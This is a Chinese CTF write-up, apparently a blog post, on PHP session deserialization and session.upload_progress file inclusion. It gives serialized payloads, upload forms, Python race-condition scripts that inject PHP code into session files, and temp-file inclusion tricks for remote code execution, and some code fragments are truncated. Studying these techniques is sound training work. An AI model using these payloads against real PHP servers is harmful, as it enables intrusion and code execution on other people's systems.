• session 反序列化


    原理详解

     ctfshow web 263


    ctfshow 新手杯 剪刀石头布 

    这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。 

     

    如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

    但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

     

    1.在线运行得到报文 

    1. html>
    2. <html>
    3. <body>
    4. <form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    5. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    6. <input type="file" name="file" />
    7. <input type="submit" />
    8. form>
    9. body>
    10. html>

    2.接着上传文件,抓包改数据包,修改文件名为序列化串 

    1. class Game{
    2. public $log;
    3. public function __construct(){
    4. $this->log = "/var/www/html/flag.php";
    5. }
    6. }
    7. $a=new Game();
    8. echo serialize($a);
    9. #|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
    10. ?>

    注意反序列化的字符串放在文件名字的位置,当作键值

    或者用python 发包

    1. import requests
    2. url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
    3. sessid = {
    4. 'PHPSESSID':'succ3'
    5. }
    6. data = {
    7. 'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
    8. }
    9. file = {
    10. 'file':'1'
    11. }
    12. req = requests.post(url=url,files=file,data=data,cookies=sessid)
    13. print(req.text)

      


    利用session.upload_progress进行文件包含和反序列化渗透

    php_serialize:  a:1:{s:5:"good";s:3:"good1";}

    php:  good|s:3:"good1";

     PHP_SESSION_UPLOAD_PROGRESS进行文件包含   (详细步骤条件竞争)

    1在php5.4之后php.ini开始有几个默认选项
    1.session.upload_progress.enabled = on
    2.session.upload_progress.cleanup = on
    3.session.upload_progress.prefix = “upload_progress_”
    4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    5.session.use_strict_mode=off 

    1. > 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
    2. > linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
    3. > 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。
    4. > 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
    5. > 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完

     2.条件竞争包含SESSION文件

    过滤了. 我们必须包含无后缀文件
    利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session
    控制文件名字/tmp/sess_aaa

    利用条件:

    • 找到Session内的可控变量
    • Session文件可读写,并且知道存储路径

    php的session文件的保存路径可以在phpinfo的session.save_path看到

    在phpinfo里找到session文件存放的位置,或者猜一猜常见的位置:

    • /var/lib/php/sess_PHPSESSID

    • /var/lib/php/sess_PHPSESSID

    • /tmp/sess_PHPSESSID(最常见)

    • /tmp/sessions/sess_PHPSESSID

    session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。通过控制cookie我们可以控制session_start时访问的session文件,从而对特定的文件内容进行序列化和反序列化。

    1. ');echo md5('1');?>"},
    2. files={"file": ('a.txt', f)},
    3. cookies={'PHPSESSID': sessid}
    4. )
    5. def READ(session):
    6. while True:
    7. response = session.get(f'{host}?file=/tmp/sess_{sessid}')
    8. # print(response.text)
    9. if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
    10. print('[+++]retry')
    11. else:
    12. print(response.text)
    13. sys.exit(0)
    14. with requests.session() as session:
    15. t1 = threading.Thread(target=POST, args=(session, ))
    16. t1.daemon = True
    17. t1.start()
    18. READ(session)

    3.包含临时文件

    通过条件竞争。当我们找不到用于触发RCE的有效文件时,如果可以访问phpinfo(它可以告诉我们临时文件的随机生成的文件名及其位置)(且如果服务器后端的处理逻辑是先上传再检测,而不是先检测再上传),我们可能可以包含一个临时文件来利用它升级为RCE。

    利用方式:p神 无字母数字webshell之提高篇 可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字

    例题源码 过滤了数字字母 没有过滤 .  通过system执行命令

    1. // 你们在炫技吗?
    2. if(isset($_GET['c'])){
    3. $c=$_GET['c'];
    4. if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
    5. system($c); //执行函数system可以直接用 . /tmp/xxxxxxxxx 运行文件
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }


    (1)写一个post上传表单

    1. html>
    2. <html lang="en">
    3. <head>
    4. <meta charset="UTF-8">
    5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
    6. <title>POST数据包POCtitle>
    7. head>
    8. <body>
    9. <form action="http://99da1d95-7eb6-468a-b044-cf1b1b5b393d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    10. <label for="file">文件名:label>
    11. <input type="file" name="file" id="file"><br>
    12. <input type="submit" name="submit" value="提交">
    13. form>
    14. body>
    15. html>

    (2) shell下可以利用.来执行任意脚本,shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

    1. ?c=. /???/????????[@-[]
    2. 如果上传的是php文件,下面两句之间需要空行
    3. #!/bin/sh
    4. ls

    (2) 如果执行函数为eval 则需要闭合php标签用?>

    ?>用于闭合php的开头

    1. if(isset($_GET['cmd'])){
    2. $cmd=$_GET['cmd'];
    3. highlight_file(__FILE__);
    4. if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
    5. die("cerror");
    6. }
    7. if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
    8. die("serror");
    9. }
    10. eval($cmd);
    11. }
    12. ?>
    13. POST /?cmd=?>`.+/??p/p?p??????`; HTTP/1.1
    14. 由于过滤了[和@,没有过滤p,需要用字母p来锁定文件

  • 相关阅读:
    探店通系统源码。短视频矩阵源码,here here here。
    COSCon'22 数字徽章来啦!
    【面试系列】Go 语言高频面试题
    买错票基本上就是要错过2天行情
    【学习笔记】内存的连续分配管理方式
    刷题笔记24——完全二叉树的节点个数
    JDK动态代理和CGLIB动态代理
    小样本学习——匹配网络
    浅谈配置元件之随机变量
    动态资源平衡:主流虚拟化 DRS 机制分析与 SmartX 超融合的实现优化
  • 原文地址:https://blog.csdn.net/m0_73847654/article/details/133895720